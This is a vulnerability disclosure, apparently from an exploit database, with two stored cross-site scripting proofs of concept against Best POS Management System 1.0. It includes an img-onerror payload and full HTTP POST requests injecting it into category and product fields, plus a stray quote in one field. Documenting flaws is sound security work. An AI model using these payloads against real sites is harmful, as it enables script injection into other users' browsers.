Best POS Management System 1.0 Cross Site Scripting

`# Exploit Title: Stored Cross Site Scripting on Best pos Management System  
# Google Dork: NA  
# Date: 14/2/2023  
# Exploit Author: Ahmed Ismail (@MrOz1l)  
# Vendor Homepage:  
https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html  
# Software Link:  
https://www.sourcecodester.com/sites/default/files/download/mayuri_k/kruxton.zip  
# Version: 1.0  
# Tested on: Windows 11  
# CVE : NA  
  
# Description  
  
Payload : "><img src=x onerror=prompt(document.domain);>  
  
# POC :  
1- Head to Add Category on  
"http://localhost/kruxton/index.php?page=add-category"  
  
2- On Name Parameter add our Payload "><img src=x  
onerror=prompt(document.domain);>  
  
3- After Adding This Category XSS will run  
  
  
```  
  
  
POST /kruxton/ajax.php?action=save_category HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)  
Gecko/20100101 Firefox/109.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data;  
boundary=---------------------------7128987773293048653857517  
Content-Length: 442  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/kruxton/index.php?page=add-category  
Cookie: PHPSESSID=61ubuj4m01jk5tibc7banpldao  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
  
-----------------------------7128987773293048653857517  
Content-Disposition: form-data; name="id"  
  
  
-----------------------------7128987773293048653857517  
Content-Disposition: form-data; name="name"  
  
XSSPOC"><img src=x onerror=prompt(document.domain);>  
-----------------------------7128987773293048653857517  
Content-Disposition: form-data; name="description"  
  
This is POC  
-----------------------------7128987773293048653857517--  
```  
  
  
  
--------------------------------------  
  
  
  
# Exploit Title: Stored Cross Site Scripting on Best pos Management System  
# Google Dork: NA  
# Date: 17/2/2023  
# Exploit Author: Ahmed Ismail (@MrOz1l)  
# Vendor Homepage:  
https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html  
# Software Link:  
https://www.sourcecodester.com/sites/default/files/download/mayuri_k/kruxton.zip  
# Version: 1.0  
# Tested on: Windows 11  
# CVE : NA  
  
  
Payload : "><img src=x onerror=prompt(document.domain);>  
  
# POC :  
1- Head to Add Category on  
"http://localhost/kruxton/ajax.php?action=save_product"  
  
2- On Name Parameter add our Payload "><img src=x  
onerror=prompt(document.domain);>  
  
on description <img src=x onerror=prompt(2);>  
  
3- After Adding This Category XSS will run  
  
  
  
  
  
```  
  
POST /kruxton/ajax.php?action=save_product HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)  
Gecko/20100101 Firefox/109.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data;  
boundary=---------------------------11015616619250686693182759357  
Content-Length: 830  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/kruxton/index.php?page=add-product  
Cookie: PHPSESSID=<COOKIE>  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
  
-----------------------------11015616619250686693182759357  
Content-Disposition: form-data; name="id"  
  
  
-----------------------------11015616619250686693182759357  
Content-Disposition: form-data; name="category_id"  
  
3'  
-----------------------------11015616619250686693182759357  
Content-Disposition: form-data; name="name"  
  
XSSPOC2"><img src=x onerror=prompt(document.domain);>  
-----------------------------11015616619250686693182759357  
Content-Disposition: form-data; name="description"  
  
XSSPOC2"><img src=x onerror=prompt(2);>  
-----------------------------11015616619250686693182759357  
Content-Disposition: form-data; name="price"  
  
1122  
-----------------------------11015616619250686693182759357  
Content-Disposition: form-data; name="status"  
  
1  
-----------------------------11015616619250686693182759357--  
  
```  
`